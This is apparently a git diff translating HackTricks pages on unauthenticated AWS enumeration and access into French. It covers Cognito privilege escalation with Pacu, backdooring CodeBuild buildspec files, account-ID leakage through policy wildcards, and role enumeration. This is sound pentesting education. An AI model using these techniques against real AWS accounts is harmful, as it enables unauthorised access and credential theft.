+- Une règle telle que `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` afin de donner à chaque utilisateur accès à `/dashboard/user/{username}` leur donnera accès à d'autres routes telles que `/admin/dashboard/createAdmin` par exemple.
 
 > [!WARNING]
-> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\
-> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
-> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example.
+> Notez que **"\*" ne cesse pas de s'étendre avec des barres obliques**, donc, si vous utilisez "\*" dans api-id par exemple, cela pourrait également indiquer "n'importe quelle étape" ou "n'importe quelle méthode" tant que la regex finale est toujours valide.\
+> Donc `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
+> Peut valider une requête post pour tester l'étape vers le chemin `/prod/GET/dashboard/admin` par exemple.
 
-You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted.
+Vous devez toujours avoir clairement en tête ce que vous souhaitez autoriser à accéder et ensuite vérifier si d'autres scénarios sont possibles avec les permissions accordées.
 
-For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
+Pour plus d'infos, en plus des [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), vous pouvez trouver du code pour implémenter des autorisateurs dans [**ce github officiel aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
 
-### IAM Policy Injection
+### Injection de politique IAM
 
-In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**.
-
-### Public URL template
+Dans la même [**discussion**](https://www.youtube.com/watch?v=bsPKk7WDOnE), il est exposé que si le code utilise **l'entrée utilisateur** pour **générer les politiques IAM**, des jokers (et d'autres tels que "." ou des chaînes spécifiques) peuvent y être inclus dans le but de **contourner les restrictions**.
 
+### Modèle d'URL publique
 ```
 https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
 ```
+### Obtenir l'ID de compte à partir de l'URL publique de l'API Gateway
 
-### Get Account ID from public API Gateway URL
+Tout comme avec les buckets S3, les passerelles Data Exchange et Lambda, il est possible de trouver l'ID de compte d'un compte en abusant de la **`aws:ResourceAccount`** **Policy Condition Key** à partir d'une URL publique de l'API Gateway. Cela se fait en trouvant l'ID de compte un caractère à la fois en abusant des jokers dans la section **`aws:ResourceAccount`** de la politique.\
+Cette technique permet également d'obtenir **les valeurs des tags** si vous connaissez la clé du tag (il y en a quelques-unes par défaut intéressantes).
 
-Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
-This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
-
-You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
+Vous pouvez trouver plus d'informations dans la [**recherche originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) et l'outil [**conditional-love**](https://github.com/plerionhq/conditional-love/) pour automatiser cette exploitation.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
index 0284e2514..210e52b3f 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
@@ -2,14 +2,8 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Public URL template
-
+### Modèle d'URL public
 ```
 https://{random_id}.cloudfront.net
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
index d95410a62..47603cc32 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
@@ -1,10 +1,10 @@
-# AWS - CodeBuild Unauthenticated Access
+# AWS - Accès non authentifié à CodeBuild
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## CodeBuild
 
-For more info check this page:
+Pour plus d'infos, consultez cette page :
 
 {{#ref}}
 ../aws-services/aws-codebuild-enum.md
@@ -12,28 +12,22 @@ For more info check this page:
 
 ### buildspec.yml
 
-If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**.
+Si vous compromettez l'accès en écriture sur un dépôt contenant un fichier nommé **`buildspec.yml`**, vous pourriez **installer une porte dérobée** dans ce fichier, qui spécifie les **commandes qui vont être exécutées** à l'intérieur d'un projet CodeBuild et exfiltrer les secrets, compromettre ce qui est fait et également compromettre les **identifiants de rôle IAM CodeBuild**.
 
-Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example.
+Notez que même s'il n'y a pas de fichier **`buildspec.yml`**, mais que vous savez que Codebuild est utilisé (ou un autre CI/CD), **modifier un code légitime** qui va être exécuté peut également vous obtenir un shell inversé par exemple.
 
-For some related information you could check the page about how to attack Github Actions (similar to this):
+Pour des informations connexes, vous pourriez consulter la page sur comment attaquer les Github Actions (similaire à cela) :
 
 {{#ref}}
 ../../../pentesting-ci-cd/github-security/abusing-github-actions/
 {{#endref}}
 
-## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
-
-As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this:
+## Runners GitHub Actions auto-hébergés dans AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
 
+Comme [**indiqué dans la documentation**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), il est possible de configurer **CodeBuild** pour exécuter des **actions Github auto-hébergées** lorsqu'un workflow est déclenché à l'intérieur d'un dépôt Github configuré. Cela peut être détecté en vérifiant la configuration du projet CodeBuild car le **`Type d'événement`** doit contenir : **`WORKFLOW_JOB_QUEUED`** et dans un Workflow Github car il sélectionnera un runner **auto-hébergé** comme ceci :
 ```bash
 runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
 ```
-
-This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached.
+Cette nouvelle relation entre Github Actions et AWS crée une autre façon de compromettre AWS depuis Github, car le code dans Github s'exécutera dans un projet CodeBuild avec un rôle IAM attaché.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
index 6f26f3a34..e2c6d3100 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
@@ -2,51 +2,43 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Unauthenticated Cognito
+## Cognito non authentifié
 
-Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**.
+Cognito est un service AWS qui permet aux développeurs de **donner à leurs utilisateurs d'application accès aux services AWS**. Les développeurs accorderont **des rôles IAM aux utilisateurs authentifiés** dans leur application (potentiellement, les gens pourront simplement s'inscrire) et ils peuvent également accorder un **rôle IAM aux utilisateurs non authentifiés**.
 
-For basic info about Cognito check:
+Pour des informations de base sur Cognito, consultez :
 
 {{#ref}}
 ../aws-services/aws-cognito-enum/
 {{#endref}}
 
-### Identity Pool ID
+### ID de Pool d'Identité
 
-Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\
-Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges.
+Les Pools d'Identité peuvent accorder **des rôles IAM aux utilisateurs non authentifiés** qui **connaissent simplement l'ID de Pool d'Identité** (ce qui est assez courant à **trouver**), et un attaquant avec cette information pourrait essayer d'**accéder à ce rôle IAM** et de l'exploiter.\
+De plus, des rôles IAM pourraient également être attribués aux **utilisateurs authentifiés** qui accèdent au Pool d'Identité. Si un attaquant peut **enregistrer un utilisateur** ou a déjà **accès au fournisseur d'identité** utilisé dans le pool d'identité, il pourrait accéder au **rôle IAM attribué aux utilisateurs authentifiés** et abuser de ses privilèges.
 
-[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md).
+[**Vérifiez comment faire cela ici**](../aws-services/aws-cognito-enum/cognito-identity-pools.md).
 
-### User Pool ID
+### ID de Pool d'Utilisateurs
 
-By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
+Par défaut, Cognito permet de **s'inscrire de nouveaux utilisateurs**. Être capable d'enregistrer un utilisateur pourrait vous donner **accès** à l'**application sous-jacente** ou au **rôle d'accès IAM authentifié d'un Pool d'Identité** qui accepte comme fournisseur d'identité le Pool d'Utilisateurs Cognito. [**Vérifiez comment faire cela ici**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
 
-### Pacu modules for pentesting and enumeration
+### Modules Pacu pour le pentesting et l'énumération
 
-[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
+[Pacu](https://github.com/RhinoSecurityLabs/pacu), le framework d'exploitation AWS, inclut maintenant les modules "cognito\_\_enum" et "cognito\_\_attack" qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs d'utilisateur utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisables modifiables, des identifiants de pool d'identité utilisables, des rôles assumables dans les jetons d'identité, etc.
 
-For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
+Pour une description des fonctions des modules, consultez la partie 2 du [post de blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, consultez la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu).
 
-#### Usage
-
-Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
+#### Utilisation
 
+Exemple d'utilisation de `cognito__attack` pour tenter la création d'utilisateur et tous les vecteurs d'escalade de privilèges contre un pool d'identité et un client de pool d'utilisateurs donnés :
 ```bash
 Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
-
-Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:
-
+Exemple d'utilisation de cognito\_\_enum pour rassembler tous les groupes d'utilisateurs, les clients de groupes d'utilisateurs, les groupes d'identité, les utilisateurs, etc. visibles dans le compte AWS actuel :
 ```bash
 Pacu (new:test) > run cognito__enum
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
index 004a92c2b..28a17aa35 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
@@ -2,14 +2,8 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Public URL template
-
+### Modèle d'URL public
 ```
 <name>.cluster-<random>.<region>.docdb.amazonaws.com
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
index e9e7fa8e4..ee1c2acfa 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
@@ -1,19 +1,15 @@
-# AWS - DynamoDB Unauthenticated Access
+# AWS - Accès non authentifié à DynamoDB
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Dynamo DB
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
-Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB.
+À part donner accès à tous les comptes AWS ou à certains comptes AWS externes compromis, ou avoir des injections SQL dans une application qui communique avec DynamoDB, je ne connais pas d'autres options pour accéder aux comptes AWS depuis DynamoDB.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
index 657bf7f3a..03f51b07e 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
@@ -2,17 +2,17 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## EC2 & Related Services
+## EC2 & Services Associés
 
-Check in this page more information about this:
+Vérifiez sur cette page plus d'informations à ce sujet :
 
 {{#ref}}
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### Public Ports
+### Ports Publics
 
-It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it.
+Il est possible d'exposer **n'importe quel port des machines virtuelles à Internet**. Selon **ce qui fonctionne** sur le port exposé, un attaquant pourrait en abuser.
 
 #### SSRF
 
@@ -20,10 +20,9 @@ It's possible to expose the **any port of the virtual machines to the internet**
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
 {{#endref}}
 
-### Public AMIs & EBS Snapshots
-
-AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account:
+### AMIs Publiques & Instantanés EBS
 
+AWS permet de **donner accès à quiconque pour télécharger des AMIs et des Instantanés**. Vous pouvez lister ces ressources très facilement depuis votre propre compte :
 ```bash
 # Public AMIs
 aws ec2 describe-images --executable-users all
@@ -38,11 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
 aws ec2 describe-snapshots --restorable-by-user-ids all
 aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
 ```
+Si vous trouvez un instantané qui peut être restauré par quiconque, assurez-vous de consulter [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) pour des instructions sur le téléchargement et le pillage de l'instantané.
 
-If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot.
-
-#### Public URL template
-
+#### Modèle d'URL publique
 ```bash
 # EC2
 ec2-{ip-seperated}.compute-1.amazonaws.com
@@ -50,15 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com
 http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
 ```
-
-### Enumerate EC2 instances with public IP
-
+### Énumérer les instances EC2 avec une IP publique
 ```bash
 aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
index 2febbed62..957f67c50 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
@@ -4,35 +4,27 @@
 
 ## ECR
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-ecr-enum.md
 {{#endref}}
 
-### Public registry repositories (images)
-
-As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws/<random>/<name>`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image.
+### Dépôts de registre publics (images)
 
+Comme mentionné dans la section ECS Enum, un registre public est **accessible par quiconque** utilise le format **`public.ecr.aws/<random>/<name>`**. Si une URL de dépôt public est trouvée par un attaquant, il pourrait **télécharger l'image et rechercher des informations sensibles** dans les métadonnées et le contenu de l'image.
 ```bash
 aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
 ```
-
 > [!WARNING]
-> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo.
+> Cela pourrait également se produire dans des **registries privées** où une politique de registry ou une politique de repository **accorde l'accès par exemple à `"AWS": "*"`**. Quiconque ayant un compte AWS pourrait accéder à ce repo.
 
-### Enumerate Private Repo
-
-The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry.
+### Énumérer le Repo Privé
 
+Les outils [**skopeo**](https://github.com/containers/skopeo) et [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) peuvent être utilisés pour lister les repositories accessibles à l'intérieur d'une registry privée.
 ```bash
 # Get image names
 skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
 crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
index 8d0b02ba2..015dfe78f 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
@@ -1,19 +1,18 @@
-# AWS - ECS Unauthenticated Enum
+# AWS - ECS Enum non authentifié
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## ECS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
 {{#endref}}
 
-### Publicly Accessible Security Group or Load Balancer for ECS Services
-
-A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks.
+### Groupe de sécurité ou équilibreur de charge accessible publiquement pour les services ECS
 
+Un groupe de sécurité mal configuré qui **permet le trafic entrant depuis Internet (0.0.0.0/0 ou ::/0)** vers les services Amazon ECS pourrait exposer les ressources AWS à des attaques.
 ```bash
 # Example of detecting misconfigured security group for ECS services
 aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
@@ -21,9 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain
 # Example of detecting a publicly accessible load balancer for ECS services
 aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
index 3a73a7328..52fa2dba9 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
@@ -4,38 +4,32 @@
 
 ## Elastic Beanstalk
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### Web vulnerability
+### Vulnérabilité Web
 
-Note that by default Beanstalk environments have the **Metadatav1 disabled**.
+Notez qu'en règle générale, les environnements Beanstalk ont **Metadatav1 désactivé**.
 
-The format of the Beanstalk web pages is **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
+Le format des pages web Beanstalk est **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
 
-### Insecure Security Group Rules
+### Règles de Groupe de Sécurité Insecure
 
-Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**.
+Des règles de groupe de sécurité mal configurées peuvent exposer les instances Elastic Beanstalk au public. **Des règles d'entrée trop permissives, telles que permettre le trafic de n'importe quelle adresse IP (0.0.0.0/0) sur des ports sensibles, peuvent permettre aux attaquants d'accéder à l'instance**.
 
-### Publicly Accessible Load Balancer
+### Équilibreur de Charge Publiquement Accessible
 
-If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments.
+Si un environnement Elastic Beanstalk utilise un équilibreur de charge et que l'équilibreur de charge est configuré pour être accessible publiquement, les attaquants peuvent **envoyer des requêtes directement à l'équilibreur de charge**. Bien que cela ne pose pas de problème pour les applications web destinées à être accessibles publiquement, cela pourrait être un problème pour des applications ou environnements privés.
 
-### Publicly Accessible S3 Buckets
+### S3 Buckets Publiquement Accessibles
 
-Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**.
-
-### Enumerate Public Environments
+Les applications Elastic Beanstalk sont souvent stockées dans des S3 buckets avant le déploiement. Si le S3 bucket contenant l'application est publiquement accessible, un attaquant pourrait **télécharger le code de l'application et rechercher des vulnérabilités ou des informations sensibles**.
 
+### Énumérer les Environnements Publics
 ```bash
 aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
index 6ed2b74fe..6360f56c6 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
@@ -2,15 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Public URL template
-
+### Modèle d'URL public
 ```
 https://vpc-{user_provided}-[random].[region].es.amazonaws.com
 https://search-{user_provided}-[random].[region].es.amazonaws.com
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
index b6092fda4..2c1dd4206 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
@@ -1,180 +1,162 @@
-# AWS - IAM & STS Unauthenticated Enum
+# AWS - IAM & STS Enum Non Authentifié
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Enumerate Roles & Usernames in an account
+## Énumérer les rôles et les noms d'utilisateur dans un compte
 
-### ~~Assume Role Brute-Force~~
+### ~~Forçage de rôle par brute force~~
 
 > [!CAUTION]
-> **This technique doesn't work** anymore as if the role exists or not you always get this error:
+> **Cette technique ne fonctionne plus** car que le rôle existe ou non, vous obtenez toujours cette erreur :
 >
 > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
 >
-> You can **test this running**:
+> Vous pouvez **tester cela en exécutant** :
 >
 > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
 
-Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return:
-
+Tenter de **prendre un rôle sans les autorisations nécessaires** déclenche un message d'erreur AWS. Par exemple, si non autorisé, AWS pourrait renvoyer :
 ```ruby
 An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
 ```
-
-This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**:
-
+Ce message confirme l'existence du rôle mais indique que sa politique d'assumption ne permet pas votre assumption. En revanche, essayer de **prendre un rôle inexistant entraîne une erreur différente** :
 ```less
 An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
 ```
+Intéressant, cette méthode de **distinction entre les rôles existants et non existants** est applicable même à travers différents comptes AWS. Avec un ID de compte AWS valide et une liste de mots ciblée, on peut énumérer les rôles présents dans le compte sans faire face à des limitations inhérentes.
 
-Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations.
+Vous pouvez utiliser ce [script pour énumérer les principaux potentiels](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) en abusant de ce problème.
 
-You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue.
+### Politiques de confiance : Brute-Force des rôles et utilisateurs inter-comptes
 
-### Trust Policies: Brute-Force Cross Account roles and users
-
-Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.
